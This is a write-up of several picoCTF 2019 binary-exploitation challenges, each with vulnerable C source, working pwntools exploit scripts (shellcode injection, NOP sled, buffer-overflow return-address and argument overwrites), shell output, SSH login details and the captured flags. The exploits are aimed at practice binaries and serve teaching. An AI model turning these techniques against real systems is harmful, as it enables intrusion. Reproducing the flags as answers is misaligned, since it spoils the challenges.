Introduction
Here you can find write ups about the vast majority of web challenges of the 2019 edition.
CTF : https://2019game.picoctf.com
Twitter : https://twitter.com/picoCTF
Some of the challenges has been validated after the end of the CTF.
handy-shellcode (50 points)
Description
This program executes any shellcode that you give it. Can you spawn a shell and use that to read the flag.txt?
Solution
The program source code :
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>#define BUFSIZE 148
#define FLAGSIZE 128void vuln(char *buf){
gets(buf);
puts(buf);
}int main(int argc, char **argv){setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);char buf[BUFSIZE];puts("Enter your shellcode:");
vuln(buf);puts("Thanks! Executing now...");
((void (*)())buf)();puts("Finishing Executing Shellcode. Exiting now...");
return 0;
}
It executes any shellcode that you give it, so let’s make a script with python and pwntools !
#!/usr/bin/env python3
from pwn import *context(arch="i386", os="linux")conn = ssh(host="2019shell1.picoctf.com", user="xanhacks", password="toto")
target = conn.process("/problems/handy-shellcode_1_ebc60746fee43ae25c405fc75a234ef5/vuln")target.recvline()shellcode = asm(shellcraft.sh())target.sendline(shellcode)
target.sendline("cat /problems/handy-shellcode_1_ebc60746fee43ae25c405fc75a234ef5/flag.txt")
target.interactive()
Result of script execution :
$ python3 exploit.py
[+] Connecting to 2019shell1.picoctf.com on port 22: Done
[*] xanhacks@2019shell1.picoctf.com:
Distro Ubuntu 18.04
OS: linux
Arch: amd64
Version: 5.4.0
ASLR: Enabled
[+] Starting remote process '/problems/handy-shellcode_1_ebc60746fee43ae25c405fc75a234ef5/vuln' on 2019shell1.picoctf.com: pid 3474693
[*] Switching to interactive mode
jhh///sh/bin\x89\xe3h\x814$ri1\xc9Qj\x04\xe1Q\x89\xe11\xd2j\x0b̀
Thanks! Executing now...
$ picoCTF{h4ndY_d4ndY_sh311c0d3_2cb0ff39}
Flag : picoCTF{h4ndY_d4ndY_sh311c0d3_2cb0ff39}
practice-run-1 (50 points)
Description
You’re going to need to know how to run programs if you’re going to get out of here.
Solution
What is this program ?
$ file run_this
run_this: ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=49eb1de81288cfa7d67445c1b3c79ecbdf91a359, not stripped
Let’s run it !
$ chmod +x run_this
$ ./run_this
picoCTF{g3t_r3adY_2_r3v3r53}
Flag : picoCTF{g3t_r3adY_2_r3v3r53}
OverFlow 0 (100 points)
Description
This should be easy. Overflow the correct buffer in this program (vuln) and get a flag.
Solution
vuln.c
...char flag[64];void sigsegv_handler(int sig) {
fprintf(stderr, "%s\n", flag);
fflush(stderr);
exit(1);
}void vuln(char *input){
char buf[128];
strcpy(buf, input);
}int main(int argc, char **argv){
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
exit(0);
}
fgets(flag,FLAGSIZE_MAX,f);
signal(SIGSEGV, sigsegv_handler);
gid_t gid = getegid();
setresgid(gid, gid, gid);
if (argc > 1) {
vuln(argv[1]);
printf("You entered: %s", argv[1]);
}
else
printf("Please enter an argument next time\n");
return 0;
}
signal() : sets a function to handle signal.
SIGSEV : (Signal Segmentation Violation) Invalid access to storage. When a program tries to read or write outside the memory it is allocated for it.
So, if there is a signal “SIGSEV”, the function sigsegv_handler will be triggered. To create this signal, we can do a buffer overflow on the function strcpy in vuln.
python3 exploit.py
[+] Connecting to 2019shell1.picoctf.com on port 22: Done
[*] xanhacks@2019shell1.picoctf.com:
Distro Ubuntu 18.04
OS: linux
Arch: amd64
Version: 5.4.0
ASLR: Enabled
[+] Starting remote process 'vuln' on 2019shell1.picoctf.com: pid 3476920
[*] Switching to interactive mode
picoCTF{3asY_P3a5yd2b59a57}
[*] Got EOF while reading in interactive
$
Flag : picoCTF{3asY_P3a5yd2b59a57}
OverFlow 1 (150 points)
Description
You beat the first overflow challenge. Now overflow the buffer and change the return address to the flag function in this program (vuln) ?
Solution
$ file vuln
vuln: setgid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=5d4cdc8dc51fb3e5d45c2a59c6a9cd7958382fc9, not stripped
vuln.c
...#define BUFFSIZE 64
#define FLAGSIZE 64void flag() {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("Flag File is Missing. please contact an Admin if you are running this on the shell server.\n");
exit(0);
} fgets(buf,FLAGSIZE,f);
printf(buf);
}void vuln(){
char buf[BUFFSIZE];
gets(buf); printf("Woah, were jumping to 0x%x !\n", get_return_address());
}int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
gid_t gid = getegid();
setresgid(gid, gid, gid);
puts("Give me a string and lets see what happens: ");
vuln();
return 0;
}
We are facing a ret2win challenge. The goal here is to call the flag function. Let’s find his address.
$ objdump -D vuln | grep "<flag>"
080485e6 <flag>:
The padding will be around 68 (64+4 = buff size + ebp size). Let’s try with 74. I get :
Woah, were jumping to 0x8000804 !
We are starting to see the address of the flag function (0x080485e6). Let’s add a bit more to the padding, for example let’s take 76.
exploit.py
#!/usr/bin/env python3
from pwn import *context(arch="i386", os="linux")conn = ssh(host="2019shell1.picoctf.com", user="xanhacks", password="toto")padding = "A"*(72+4)
flag_func_addr = p32(0x080485e6)
payload = padding.encode() + flag_func_addrtarget = conn.process("vuln", cwd="/problems/overflow-1_6_0a7153ff536ac8779749bc2dfa4735de")target.recvline()
target.sendline(payload)
target.interactive()
Execution of the script
$ python3 exploit.py
[+] Connecting to 2019shell1.picoctf.com on port 22: Done
[*] xanhacks@2019shell1.picoctf.com:
Distro Ubuntu 18.04
OS: linux
Arch: amd64
Version: 5.4.0
ASLR: Enabled
[+] Starting remote process 'vuln' on 2019shell1.picoctf.com: pid 3479904
[*] Switching to interactive mode
Woah, were jumping to 0x80485e6 !
picoCTF{n0w_w3r3_ChaNg1ng_r3tURn5b80c9cbf}[*] Got EOF while reading in interactive
Flag : picoCTF{n0w_w3r3_ChaNg1ng_r3tURn5b80c9cbf}
slippery-shellcode (200 points)
Description
This program is a little bit more tricky. Can you spawn a shell and use that to read the flag.txt?
Solution
vuln.c
...void vuln(char *buf){
gets(buf);
puts(buf);
}int main(int argc, char **argv){ setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid); char buf[512]; puts("Enter your shellcode:");
vuln(buf); puts("Thanks! Executing from a random location now..."); int offset = (rand() % 256) + 1;
((void (*)())(buf+offset))(); puts("Finishing Executing Shellcode. Exiting now...");
return 0;
}
Our shellcode is executed at a random offset, so we can do two things, bruteforcing and pray to get the right offset, or a smarter way is to fill the random range with nop (0x90) instructions and then inserting our shellcode. The program will skip all the nop instructions and run the shellcode.
exploit.py
#!/usr/bin/env python3
from pwn import *context(arch="i386", os="linux")
challenge = "slippery-shellcode_1_69e5bb04445e336005697361e4c2deb0"conn = ssh(host="2019shell1.picoctf.com", user="xanhacks", password="toto")
target = conn.process("vuln", cwd=f"/problems/{challenge}/")# target.recvline()nop = asm(shellcraft.i386.nop()*256)
shellcode = asm(shellcraft.sh())
payload = nop + shellcodetarget.sendlineafter("Enter your shellcode:\n", payload)
target.sendline(f"cat /problems/{challenge}/flag.txt")
target.interactive()
Execution of the script
$ python3 exploit.py
[+] Connecting to 2019shell1.picoctf.com on port 22: Done
[*] xanhacks@2019shell1.picoctf.com:
Distro Ubuntu 18.04
OS: linux
Arch: amd64
Version: 5.4.0
ASLR: Enabled
[+] Starting remote process 'vuln' on 2019shell1.picoctf.com: pid 3489542
[*] Switching to interactive mode
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90jhh///sh/bin\x89\xe3h\x814$ri1\xc9Qj\x04\xe1Q\x89\xe11\xd2j\x0b̀
Thanks! Executing from a random location now...
$ picoCTF{sl1pp3ry_sh311c0d3_0fb0e7da}
Flag : picoCTF{sl1pp3ry_sh311c0d3_0fb0e7da}
OverFlow 2 (250 points)
Description
Now try overwriting arguments. Can you get the flag from this program?
Solution
$ file vuln
vuln: setgid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=80e23ef08eb912fde3fc2f7ff2148e0e62960080, not stripped
vuln.c
...void flag(unsigned int arg1, unsigned int arg2) {
char buf[64];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
exit(0);
}fgets(buf,64,f);
if (arg1 != 0xDEADBEEF)
return;
if (arg2 != 0xC0DED00D)
return;
printf(buf);
}void vuln(){
char buf[176];
gets(buf);
puts(buf);
}int main(int argc, char **argv){ setvbuf(stdout, NULL, _IONBF, 0);
gid_t gid = getegid();
setresgid(gid, gid, gid); puts("Please enter your string: ");
vuln();
return 0;
}
Here we need to call the flag function with two parameters, arg1 set to 0xDEADBEEF and arg2 to 0xC0DED00D. In assembler x86 32 bits, function arguments are passed through the stack.
$ objdump -D vuln | grep "<flag>"
080485e6 <flag>:
This time I use gef (gdb extension) to find the correct offset to reach the instruction point. To do that you need to create a pattern (sequence of characters which never repeat).
gef➤ pattern create 200
[+] Generating a pattern of 200 bytes
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
[+] Saved as '$_gef0'
Then, fill the gets input with the pattern and thanks to the value of the register EBP (just before EIP) you can find the good offset.
..
$ebp : 0xffffcf38 → "waabxaabyaab"
...
gef➤ pattern search waabxaabyaab
[+] Searching 'waabxaabyaab'
[+] Found at offset 188 (big-endian search)gef➤ pattern search $ebp
[+] Searching '$ebp'
[+] Found at offset 188 (little-endian search) likely
Let’s test this, to check if we can call the flag function.
current exploit.py :
#!/usr/bin/env python3
from pwn import *context(arch="i386", os="linux")
challenge = "overflow-2_5_4db6d300831e973c59360066ec1cf0a4"conn = ssh(host="2019shell1.picoctf.com", user="xanhacks", password="toto")
# target = conn.process("vuln", cwd=f"/problems/{challenge}/")
target = conn.process(f"/problems/{challenge}/vuln")padding_flag = "A"*188
flag_func_addr = p32(0x080485e6)
payload = padding_flag.encode() + flag_func_addrtarget.recvline()target.sendline(payload)
target.interactive()
The exploit returns Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server. It means that we have sucessfully call the flag function. We obtain this error because I don’t set the working directory to the location of flag.txt (see the commented line).
Now let’s call the function again but with the two parameters.
#!/usr/bin/env python3
from pwn import *context(arch="i386", os="linux")
challenge = "overflow-2_5_4db6d300831e973c59360066ec1cf0a4"conn = ssh(host="2019shell1.picoctf.com", user="xanhacks", password="toto")
target = conn.process("vuln", cwd=f"/problems/{challenge}/")padding = lambda x: ("A"*x).encode()flag_func_addr = p32(0x080485e6)
arg1_addr = p32(0xDEADBEEF)
arg2_addr = p32(0xC0DED00D)payload = padding(188) + flag_func_addr + padding(4) + arg1_addr + arg2_addrtarget.recvline()target.sendline(payload)
target.interactive()
When you call a function in x86, you push the arguments, then the return address of the function. So, you need to add a padding between the flag address et arguments to overwrite this return address (after the flag function called).
Execution of the script :
$ python3 exploit.py
[+] Connecting to 2019shell1.picoctf.com on port 22: Done
[*] xanhacks@2019shell1.picoctf.com:
Distro Ubuntu 18.04
OS: linux
Arch: amd64
Version: 5.4.0
ASLR: Enabled
[+] Starting remote process 'vuln' on 2019shell1.picoctf.com: pid 3534074
[*] Switching to interactive mode
\xd0\xde\xc0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xe6\x8AAAAᆳ\xde
$ picoCTF{arg5_and_r3turn5f5d490e6}[*] Got EOF while reading in interactive
Flag : picoCTF{arg5_and_r3turn5f5d490e6}